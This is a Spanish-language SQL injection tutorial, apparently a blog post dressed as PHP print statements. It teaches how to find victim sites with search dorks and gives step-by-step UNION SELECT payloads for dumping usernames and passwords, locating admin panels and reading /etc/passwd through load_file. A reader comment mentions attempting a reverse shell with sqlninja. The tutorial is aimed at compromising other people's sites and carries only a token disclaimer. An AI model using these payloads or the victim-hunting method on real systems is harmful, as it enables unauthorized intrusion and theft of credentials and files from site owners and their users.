/* Inyecciones SQL básico en códigos PHP
by Syst3m-c0d3r;
*/
print "indice";
$1="Presentacion";
$2="Buscando victimas";
$3="Testeando el bug";
$4="Sacando cantidad de tablas";
$5="Tratando de sacar el user y pass";
$6="load_file: Cargar el fichero passwd";
$7="Despedida";
print "-----------------------------------------------------------------------------";
print '
Presentacion.-
Hola! Yo soy Syst3m-c0d3r, tal ves algunos me conoscan como Panther Root o Phanter RooT
Hoy voy a hacer este paper sobre inyecciones SQL (Basicos)
Es con fines educativos, no me responsabilizo del mal uso que le den a esto.
espero que les sirva :D
empezemos...
';
print "-----------------------------------------------------------------------------";
print '
Buscando Victimas.-
Un buen dork para buscar victimas vulnerables podria ser algo como un CMS de noticias:
inurl:noticias.php?id=
inurl:nota.php?id=
inurl:noticias.php?noticia=
o bien:
inurl:index.php?id=
';
print "-----------------------------------------------------------------------------";
print '
Testeando el bug.-
bueno yo encontre una pagina vulnerable:
noticias.php?id=
ahora para testear la vulnerabilidad ponemos:
noticias.php?id='
Si es vulnerable nos dará un mensaje como:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
o similar
en la mayoria de los casos tambien hay XSS:
noticias.php?id='
bueno, ahora empezemos a explotar =D
';
print "-----------------------------------------------------------------------------";
print '
Sacando cantidad de tablas.-
Vamos a usar UNION ALL SELECT:
http://www.w3schools.com/sql/sql_union.asp
noticias.php?id=-1+UNION+ALL+SELECT+1
Esto nos va a provocar un error como:
The used SELECT statements have a different number of columns
Esto quiere decir que tiene mas de 1 tabla
entonces hay que seguir... le agregamos un ,2, quedaria asi:
noticias.php?id=-1+UNION+ALL+SELECT+1,2
si nos tira el mismo error le ponemos ,3
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3
y asi hasta que nos imprima unos numeros
La inyeccion me quedó así:
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Esto quiere decir que la base de datos tiene 14 tablas
A mi me imprimió el 2, el 3 y el 5..
';
print "-----------------------------------------------------------------------------";
print '
Tratando de sacar el user y pass.-
bueno ahora que tenemos la mitad de la inyeccion armada vamos a usar FROM.
Esto es para elegir que tabla vamos a usar
Esto es a las pruebas, es decir, no podemos sacar los nombres de las tablas al menos que sea mysql 5.0, pero eso lo explicare mas adelante...
ahora que tenemos la inyeccion ponemos al final +FROM+ y un posible nombre de la tabla
la mayoria de las veces es usuarios... o members.. o users, pero hay q probar
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+usernames
nos quedaria algo asi
Si nos tira este error:
Table 'NOMBRE_DE_LA_BASE_DE_DATOS.usernames' doesn't exist
es que no existe, por lo tanto, hay que probar otras formas:
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+usuarios
Bingo!! No me tiro ningun error, imprimio los numeros 2, 3 y 5 como antes!!
La tabla de usuarios en mi caso es "usuarios" jeje
Ahora....... A sacar el user y pass!!!
para esto tenemos que probar tambien !! el nombre de la COLUMNA...
Esto se prueba en reemplazo de los numeros que se imprimen
es decir,, si se imprime el 2 el 3 y el 5 podemos cambiar el 5 por el nombre posible de la columna.. quedaria algo asi:
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,usuario,6,7,8,9,10,11,12,13,14+from+usuarios
Unknown column 'usuario' in 'field list'
Ups!! No existe!! a seguir probando
Bingo!! me imprimio el 2, el 3 y el nombre de usuario :D:D:D
Ahora a buscar el password =)
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,concat(usuario,0x3a3a,clave),6,7,8,9,10,11,12,13,14+from+usuarios
Unknown column 'clave' in 'field list'
No existe
NOTA: 0x3a3a es Hexadecimal... 0x indica un valor hex y 3a3a ekivale a ::
concat sirve para imprimir 2 columnas en la misma tabla
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,concat(usuario,0x3a3a,password),6,7,8,9,10,11,12,13,14+from+usuarios
Se!! ya tenemos el user y pass
ahora podemos buscar el panel de admin
www.ejemplo.com/admin
www.ejemplo.com/login
www.ejemplo.com/login.php
www.ejemplo.com/admin.php
etc...
hay q probar...
';
print "-----------------------------------------------------------------------------";
print '
load_file: Cargar el fichero passwd.-
Load_File() es una funcion de mysql (no todas las versiones) para cargar ficheros.. no solo el de passwd. pero yo voy a mostrar un ejemplo con este...
para cargar ficheros tenemos que hacerlo en una tabla de las q se imprime y hacerlo con valor hexadecimal..
es decir, quedaria:
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,load_file(FICHERO CODIFICADO EN HEXADECIMAL),6,7,8,9,10,11,12,13,14+from+mysql.user--
NOTA: hay que hacerlo con la tabla mysql.user...
es decir... +from+mysql.user--
NOTA: -- (2 guiones) evita todo codigo que sigue,, de sql
/etc/passwd en hexadecimal es: 2f6574632f706173737764
por lo tanto quedaria:
load_file(0x2f6574632f706173737764)
NOTA: no olvidarse declarar que es hexadecimal.. es decir.. 0x adelante de todo
por lo tanto la inyeccion kedaria:
noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13,14+from+mysql.user--
';
print "-----------------------------------------------------------------------------";
print '
Despedida .-
Bueno este tutorial esta dedicado a todo el foro REMOTE EXECUTION y en especial a Biser!
Un saludo y espero que les pueda servir.. ante cualquier duda:
Panther_RooT@ArgentoHack.com.ar!!
Saludos =)
';
exit();
Inyecciones SQL básico en códigos PHP
Suscribirse a:
Enviar comentarios (Atom)
1 comentarios:
Hey como vas.. tengo una vulnerable, entre con sqlninja y aparentemente crea el sysadmin, cuando trato de hacer un reverse-shell se cuelga pero asumo mas el problema a el router mio. La pregunta es este mensaje: arning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/laweb/public_html/prodpag.php on line 136
Es inyectable.. pero algo me falla.. minimalx3@hotmail.com
Publicar un comentario